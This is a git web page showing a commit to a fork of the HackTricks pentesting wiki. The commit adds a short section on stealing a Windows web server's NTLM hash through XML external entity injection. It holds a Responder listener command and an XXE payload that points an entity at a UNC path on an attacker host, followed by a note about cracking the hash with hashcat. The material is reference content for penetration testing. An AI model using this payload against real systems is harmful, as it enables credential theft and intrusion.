coelner/hacktricks
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Merge pull request #333 from looCiprian/master

Browse Source 
Updated XXE attacks by adding NTLM
This commit is contained in:
Carlos Polop 2022-05-07 20:20:00 +01:00 committed by GitHub
commit e445f7a87c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 19 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

19
pentesting-web/xxe-xee-xml-external-entity.md
View File

@ -423,6 +423,25 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
![](<../.gitbook/assets/image (531).png>)
### Getting NTML
On Windows hosts it is possible to get the NTML hash of the web server user by setting a responder.py handler:
```
Responder.py -I eth0 -v
```
and by sending the following request
```
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
Then you can try to crack the hash using hashcat
# Hidden XXE Surfaces
## XInclude